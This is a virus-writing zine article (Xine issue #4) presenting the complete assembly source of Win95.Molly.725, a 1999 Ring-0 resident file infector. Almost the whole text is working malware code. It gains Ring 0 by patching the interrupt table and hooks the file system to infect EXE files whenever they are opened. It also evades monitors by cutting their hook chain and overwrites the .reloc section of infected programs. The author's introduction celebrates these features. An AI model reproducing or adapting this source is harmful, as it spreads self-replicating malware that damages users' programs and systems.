/-----------------------------\ | Xine - issue #4 - Phile 215 | \-----------------------------/ ; [Win95.Molly.725] - An experimental specimen ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; [ Introduction ] ; ; This is an experimental virus. After Win32.Legacy i needed to do something ; small and functional. And here it is. This is my third Ring-0 virus,but the ; code scheme is different this time from my two other R0's (Garaipena and ; PoshKiller). This virus was written just at the same time while i started ; to read Neuromancer, and as you can see, its name comes from the girl with ; specular lens, that is one of the main characters of the book (hey, don't ; hesitate and read it!). ; ; [ Features ] ; ; + Ring-0 virus by means of modifying the IDT ; + Resident fast infector of PE files with EXE extension ; + Infects when system opens file ; + Overwriting virus (heheh, don't go mad, overwrite relocs) :) ; + AntiMonitor tunneling (through InstallFileSystemApiHook structure) ; + Heavy optimization (at least i've tried to), only 725 bytes ; + My smallest virus so far :) ; ; [ Greetings ] ; ; + Wintermute & ; zAxOn - Thanx for pushing me to read Neuromancer... W0W! ; + Qozah/29A - Thanx for your help and support, dude ; + Benny/29A - I wanna hear that Czech group ;) ; + Super/29A - Why are you always in my greets? :) ; + StarZer0/iKX - sexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsexsex ; + b0z0/iKX - Padania Libera rules! ; ; (c) 1999 Billy Belcebu/iKX .586p .model flat,stdcall extrn MessageBoxA:PROC extrn ExitProcess:PROC .data szTitle db "[Win95.Molly." db virus_size/0100 mod 10 + "0" db virus_size/0010 mod 10 + "0" db virus_size/0001 mod 10 + "0" db "]",0 szMessage db "First generation host",10 db "(c) 1999 Billy Belcebu/iKX",0 .code virus: int 3 jmp molly1 fakehost: call MessageBoxA,00h,offset szMessage,offset szTitle,1000h call ExitProcess,00h ; =========================================================================== ; Win95.Molly ; =========================================================================== molly segment dword use32 public '.molly' ; --- Virus mode DEBUG equ FALSE ; --- Some equates d equ <[ebp]-offset delta> rd equ <[ebp]-offset r0delta> rd_ equ <[ebx]-offset r0delta> virus_size equ virus_end-virus_start heap_size equ heap_end-virus_end total_size equ virus_size+heap_size TRUE equ 01h FALSE equ 00h PUSHAD_EDI equ 00h PUSHAD_ESI equ 04h PUSHAD_EBP equ 08h PUSHAD_ESP equ 0Ch PUSHAD_EBX equ 10h PUSHAD_EDX equ 14h PUSHAD_ECX equ 18h PUSHAD_EAX equ 1Ch PUSHAD_SIZE equ 20h ; --- VxD Functions VMM_Get_DDB equ 00010146h IFSMgr_GetHeap equ 0040000Dh IFSMgr_RetHeap equ 0040000Eh IFSMgr_Ring0_FileIO equ 00400032h IFSMgr_InstallFileSystemApiHook equ 00400067h ; --- Hooked Functions IFSFN_FILEATTRIB equ 21h IFSFN_OPEN equ 24h IFSFN_RENAME equ 25h ; --- IFSMgr_Ring0_FileIO functions used R0_FILEATTRIBUTES equ 04300h R0_OPENCREATFILE equ 0D500h R0_CLOSEFILE equ 0D700h R0_READFILE equ 0D600h R0_WRITEFILE equ 0D601h ; --- Macro land dbg macro shit2do IF DEBUG shit2do ENDIF endm beep macro mov ax, 1000 mov bx, 200 mov cx, ax mov al, 0B6h out 43h, al mov dx, 0012h mov ax, 34DCh div cx out 42h, al mov al, ah out 42h, al in al, 61h mov ah, al or al, 03h out 61h, al l1: mov ecx, 4680d l2: loop l2 dec bx jnz l1 mov al, ah out 61h, al endm VxDCall macro VxDService int 20h dd VxDService endm VxDJmp macro VxDService int 20h dd VxDService+8000h endm virus_start label byte ; --- Virus entrypoint molly1: jmp gdelta ; --- Virus data kernel dd 00000000h ; --- Virus code gdelta: call delta ; Get a relative offset delta: pop ebp push 05h ; ECX = 5 pop ecx ; (limit for 'GetImageBase') mov esi,ebp ; ESI = Relative offset call GetImageBase ; Get host's imagebase mov ModBase d,eax ; Store it mov ecx,cs ; Avoid installation if we're xor cl,cl ; in WinNT jecxz GimmeSomethingBaby push 05h ; ECX = 5 pop ecx ; (limit for 'GetImageBase') mov esi,[esp] call GetImageBase mov kernel d,eax push edx sidt fword ptr [esp-2] ; Interrupt table to stack pop edx IF DEBUG add dl,((5*8)+4) ELSE add dl,((3*8)+4) ENDIF mov ebx,[edx] mov bx,word ptr [edx-4] lea esi,NewInt3 d mov [edx-4],si shr esi,16 ; Move MSW to LSW mov [edx+2],si IF DEBUG int 5 ELSE int 3 ENDIF mov [edx-4],bx shr ebx,16 mov [edx+2],bx GimmeSomethingBaby: mov ebx,00400000h ; Get at runtime ModBase equ $-4 add ebx,(fakehost-virus)+00001000h ; Get at infection time OldEIP equ $-4 jmp ebx NewInt3: pushad dbg mov eax,kernel d ; EAX = K32 imagebase add al,38h ; Ptr to an unused field cmp word ptr [eax],0CA5Eh ; Already installed? jz already_installed ; If so, exit mov word ptr [eax],0CA5Eh ; Case is here... fild real8 ptr [ebp+(@@1-delta)] ; Do u know any other way for ; manipulate more than 4 bytes? ; (without MMX, dork ;) push total_size @@1: VxDCall IFSMgr_GetHeap xchg eax,ecx pop eax fistp real8 ptr [ebp+(@@1-delta)] jecxz already_installed xchg eax,ecx mov edi,eax lea esi,virus_start d rep movsb lea edi,[eax+(FileSystemHook-virus_start)] xchg edi,eax push eax @@2: VxDCall IFSMgr_InstallFileSystemApiHook pop ebx xchg esi,eax push esi add esi,04h tunnel: lodsd xchg eax,esi add esi,08h js tunnel mov dword ptr [edi+(top_chain-virus_start)],eax pop eax mov dword ptr [edi+(OldFSA-virus_start)],eax and byte ptr [edi+(semaphore-virus_start)],00h already_installed: popad iret ; --- The new FileSystem hook ;) FileSystemHook proc c, FSD_Func_Address:DWORD, Function:DWORD, Drive:DWORD,\ ResourceKind:DWORD, StrCodePage:DWORD, PtrIOREQ:DWORD cmp Function,IFSFN_OPEN ; File Open? Infect if it is jz infect ExitFileSystemHook: mov eax,12345678h org $-4 OldFSA dd 00000000h call [eax] c, FSD_Func_Address, Function, Drive, ResourceKind, \ StrCodePage, PtrIOREQ ret FileSystemHook endp r0fio: VxDJmp IFSMgr_Ring0_FileIO R0_FileIO: VxDJmp IFSMgr_Ring0_FileIO dw 0000h pe_header_ptr dd 00000000h top_chain dd 00000000h semaphore db 00h infect: pushfd pushad call r0delta r0delta:pop ebx cmp byte ptr [ebx+(semaphore-r0delta)],00h jnz exit_infect inc byte ptr [ebx+(semaphore-r0delta)] lea esi,top_chain rd_ ; Make null top chain, so we lodsd ; avoid monitors by means of xor edx,edx ; cutting their balls :) xchg [eax],edx pushad lea edi,filename rd_ push edi mov esi,PtrIOREQ ; ESI = Ptr to IOREQ struc mov esi,[esi.2Ch] ; ESI = Ptr to UNI filename uni2asciiz: movsb ; Convert to ASCIIz dec edi cmpsb jnz uni2asciiz pop edx ; EDI = Ptr to ASCIIz filename cmp dword ptr [edi-05h],"EXE." ; Infect only EXE files jnz AvoidInfection IF DEBUG cmp dword ptr [edi-0Ch],"TAOG" jnz AvoidInfection ENDIF mov esi,edx ; ESI = Ptr to filename xor eax,eax mov ah,R0_FILEATTRIBUTES/100h ; EAX = Function ; GETFILEATTRIBUTES push eax call R0_FileIO pop eax jc AvoidInfection inc eax ; EAX = Function ; SETFILEATTRIBUTES push esi push ecx push eax xor ecx,ecx ; ECX = New attributes call R0_FileIO jc RestoreAttributes xor eax,eax cdq mov ah,R0_OPENCREATFILE/100h ; EAX = Function OPENFILE mov ecx,edx ; ECX = 0 inc edx ; EDX = 1 mov ebp,edx inc ebp xchg ebp,ebx ; EBX = 2 call R0_FileIO jc RestoreAttributes xchg eax,ebx ; EBX = File handle xor eax,eax mov ah,R0_READFILE/100h ; EAX = Function READFILE push eax push 04h pop ecx ; ECX = Bytes to read (4) push 3Ch pop edx ; EDX = Where to read (3C) lea esi,pe_header_ptr rd ; ESI = Where store data call R0_FileIO lodsd xchg eax,edx ; EDX = Where to read pop eax ; EAX = Function READFILE lea esi,pe_header rd ; ESI = Where store data xor ecx,ecx mov ch,04h ; ECX = Bytes to read (1K) call R0_FileIO cmp word ptr [esi],"EP" jnz CloseFile mov al,"M"-"O"+"L"-"L"+"Y" ; Mark in the PE header cmp byte ptr [esi+1Ah],al jz CloseFile mov byte ptr [esi+1Ah],al mov edi,esi movzx eax,word ptr [edi+06h] ; Get last section of header dec eax imul eax,eax,28h add esi,eax add esi,78h mov edx,[edi+74h] shl edx,03h add esi,edx ; ESI = last section header ; EDI = PE header mov [esi+24h],0E0000000h ; New sectionz attributes and dword ptr [edi+0A0h],00h ; Nulify possible .reloc and dword ptr [edi+0A4h],00h cmp dword ptr [esi],"ler." jnz CloseFile cmp word ptr [esi+04h],"co" jnz CloseFile ; Oh, wtf, OVERWRITE! ;) mov dword ptr [esi],"lom." ; .reloc -> .molly mov word ptr [esi+4],"yl" and dword ptr [esi+18h],00h ; Clear PointerToRelocations and word ptr [esi+20h],00h ; Clear NumberOfRelocations push dword ptr [esi+14h] ; Where copy virus mov eax,virus_size mov [esi+08h],eax ; VirtualSize -> virus size mov ecx,[edi+3Ch] cdq ; Align, sucker push eax div ecx pop eax sub ecx,edx add eax,ecx mov [esi+10h],eax ; SizeOfRawData -> aligned ; virus size mov eax,[esi+0Ch] ; New EIP xchg eax,[edi+28h] ; Put new EIP and get old one mov OldEIP rd,eax ; Save it push eax xor eax,eax mov ah,R0_WRITEFILE/100h ; Write the modified header inc eax push eax xor ecx,ecx mov ch,04h mov edx,pe_header_ptr rd lea esi,pe_header rd call R0_FileIO fild real8 ptr [ebp+(r0fio-r0delta)] ; Fix R0_FileIO VxDJmp... fistp real8 ptr [ebp+(R0_FileIO-r0delta)] pop eax ; Write virus pop ecx pop edx lea esi,virus_start rd call R0_FileIO CloseFile: xor eax,eax mov ah,R0_CLOSEFILE/100h call R0_FileIO RestoreAttributes: pop eax pop ecx pop esi call R0_FileIO AvoidInfection: popad mov [eax],edx ; Restore top chain dec byte ptr [ebx+(semaphore-r0delta)] exit_infect: popad popfd jmp ExitFileSystemHook ; input: ; ESI - Any position in the page where we want to search ; ECX - Search limit (number of pages(limit)/10) ; output: ; EAX - Base address of module/process GetImageBase: pushad and esi,0FFFF0000h _@1: cmp word ptr [esi],"ZM" jz CheckPE _@2: sub esi,00010000h loop _@1 jmp WeFailed CheckPE: mov edi,[esi.3Ch] add edi,esi cmp word ptr [edi],"EP" jnz _@2 mov [esp.PUSHAD_EAX],esi WeFailed: popad ret ; --- Some shit db 00h,"[Win95.Molly] (c) 1999 Billy Belcebu/iKX",00h ; --- Virus heap data virus_end label byte filename db 100h dup (00h) pe_header db 400h dup (00h) heap_end label byte molly ends end virus